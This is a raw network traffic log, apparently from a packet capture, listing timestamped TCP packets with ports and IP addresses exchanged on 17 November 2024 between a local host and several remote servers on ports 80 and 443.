Nov 17, 2024 03:42:38.296381950 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.296392918 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.296403885 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.296431065 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.296464920 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.296582937 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.296595097 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.296606064 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.296617031 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.296628952 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.296631098 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.296657085 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.296678066 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.324285030 CET	443	49841	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.324445009 CET	443	49841	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.324610949 CET	49841	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.324651957 CET	49841	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.324665070 CET	443	49841	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.324677944 CET	49841	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.324682951 CET	443	49841	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.329078913 CET	49853	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.329124928 CET	443	49853	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.329262972 CET	49853	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.329490900 CET	49853	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.329509020 CET	443	49853	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.336877108 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.336906910 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.336918116 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.336965084 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.342653990 CET	443	49842	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.343014002 CET	443	49842	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.344383955 CET	49842	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.344888926 CET	49842	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.344904900 CET	443	49842	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.344917059 CET	49842	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.344922066 CET	443	49842	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.349164963 CET	49854	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.349201918 CET	443	49854	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.349349022 CET	49854	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.349515915 CET	49854	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.349534035 CET	443	49854	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.379280090 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.379295111 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.379306078 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.379357100 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.379384041 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.398946047 CET	443	49846	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.399302959 CET	49846	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.399347067 CET	443	49846	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.399816990 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.399887085 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.399916887 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.399943113 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.399980068 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.400002956 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.400785923 CET	443	49846	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.400854111 CET	49846	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.401439905 CET	49846	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.401504040 CET	443	49846	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.401632071 CET	49846	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.401643038 CET	443	49846	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.414063931 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.414083958 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.414093971 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.414103985 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.414133072 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.414185047 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.414189100 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.414201021 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.414211988 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.414247990 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.414280891 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.414328098 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.414338112 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.414392948 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.414469957 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.414482117 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.414494038 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.414505005 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.414531946 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.414563894 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.414695978 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.414740086 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.414741039 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.414752007 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.414774895 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.414793968 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.414911985 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.414923906 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.414936066 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.414947033 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.414967060 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.415003061 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.415155888 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.415198088 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.415205002 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.415210009 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.415239096 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.415261984 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.415266037 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.415277004 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.415287971 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.415317059 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.415354013 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.415621996 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.415642023 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.415652990 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.415678978 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.415699959 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.415702105 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.415712118 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.415746927 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.415757895 CET	443	49843	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.416395903 CET	443	49845	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.416673899 CET	49845	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.416691065 CET	443	49845	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.417026997 CET	49843	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.417036057 CET	443	49843	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.418133020 CET	443	49843	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.418540001 CET	49843	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.418710947 CET	443	49843	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.418768883 CET	49843	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.420344114 CET	443	49845	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.420429945 CET	49845	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.421175957 CET	49845	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.421356916 CET	443	49845	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.421684027 CET	49845	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.421693087 CET	443	49845	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.427680969 CET	443	49844	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.427997112 CET	49844	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.428014994 CET	443	49848	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.428026915 CET	443	49844	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.428292036 CET	49848	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.428323030 CET	443	49848	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.429186106 CET	443	49844	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.429572105 CET	49844	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.429702044 CET	49844	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.429744005 CET	443	49848	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.429786921 CET	443	49844	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.429820061 CET	49848	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.430437088 CET	49848	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.430527925 CET	443	49848	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.430620909 CET	49848	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.430636883 CET	443	49848	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.431756973 CET	443	49847	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.431977987 CET	49847	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.431994915 CET	443	49847	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.433439970 CET	443	49847	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.433497906 CET	49847	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.433892965 CET	49847	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.433970928 CET	443	49847	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.434039116 CET	49847	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.434052944 CET	443	49847	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.455996990 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.456012011 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.456023932 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.456036091 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.456063032 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.456120014 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.459356070 CET	443	49843	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.486030102 CET	49846	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.486042976 CET	49843	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.486063004 CET	49844	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.486218929 CET	49848	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.498291969 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.498305082 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.498368025 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.516422987 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.516453981 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.516578913 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.516619921 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.516668081 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.526716948 CET	443	49846	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.526742935 CET	443	49846	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.526793003 CET	443	49846	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.526801109 CET	49846	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.526849031 CET	49846	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.530533075 CET	49846	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.530555964 CET	443	49846	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.531352043 CET	49855	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.531395912 CET	443	49855	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.531759977 CET	49855	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.533180952 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.533206940 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.533221960 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.533245087 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.533256054 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.533263922 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.533313990 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.533487082 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.533499002 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.533510923 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.533529043 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.533533096 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.533540010 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.533581018 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.533621073 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.533705950 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.533716917 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.533726931 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.533737898 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.533749104 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.533756018 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.533818960 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.533994913 CET	49855	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.534009933 CET	443	49855	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.534032106 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.534055948 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.534073114 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.534084082 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.534091949 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.534096003 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.534106016 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.534117937 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.534126997 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.534182072 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.534337997 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.534499884 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.534524918 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.534535885 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.534568071 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.534569025 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.534579992 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.534601927 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.534645081 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.556598902 CET	443	49843	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.556643009 CET	443	49843	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.556730986 CET	49843	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.556744099 CET	443	49843	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.556770086 CET	443	49843	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.556832075 CET	49843	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.558546066 CET	443	49844	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.558614969 CET	443	49844	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.558721066 CET	49844	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.558727026 CET	443	49844	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.558825970 CET	49844	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.559344053 CET	443	49845	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.559413910 CET	49845	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.559432983 CET	443	49845	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.559504986 CET	443	49845	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.559576035 CET	49845	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.559967041 CET	443	49848	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.560015917 CET	443	49848	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.560163021 CET	443	49848	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.560214043 CET	49848	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.563191891 CET	443	49847	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.563352108 CET	443	49847	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.563419104 CET	49847	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.574985027 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.575005054 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.575016022 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.575074911 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.600795031 CET	49843	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.600812912 CET	443	49843	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.601221085 CET	49856	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.601262093 CET	443	49856	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.601361990 CET	49856	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.603013992 CET	49856	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.603028059 CET	443	49856	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.610774040 CET	49844	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.610810041 CET	443	49844	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.617208004 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.617223978 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.617235899 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.617295027 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.617300987 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.617307901 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.617319107 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.617356062 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.630594015 CET	49845	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.630616903 CET	443	49845	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.631170988 CET	49848	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.631196022 CET	443	49848	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.633157969 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.633188963 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.633270025 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.633306026 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.633332968 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.633354902 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.635787964 CET	49847	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:38.635797024 CET	443	49847	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:38.652065992 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.652144909 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.652156115 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.652167082 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.652177095 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.652179956 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.652190924 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.652250051 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.652411938 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.652452946 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.652462959 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.652466059 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.652482986 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.652494907 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.652496099 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.652518034 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.652550936 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.652826071 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.652857065 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.652868032 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.652874947 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.652879953 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.652894974 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.652906895 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.652931929 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.652976990 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.653034925 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.653069019 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.653080940 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.653109074 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.653143883 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.653286934 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.653297901 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.653309107 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.653318882 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.653335094 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.653337002 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.653352022 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.653362989 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.653362989 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.653373957 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.653386116 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.653397083 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.653400898 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.653408051 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.653429031 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.653450966 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.665484905 CET	443	49849	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.680949926 CET	49849	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.680988073 CET	443	49849	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.681786060 CET	49849	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.681799889 CET	443	49849	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.693897963 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.693911076 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.693922997 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.693970919 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.694026947 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.712004900 CET	443	49851	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.712289095 CET	443	49850	13.107.246.45	192.168.2.5
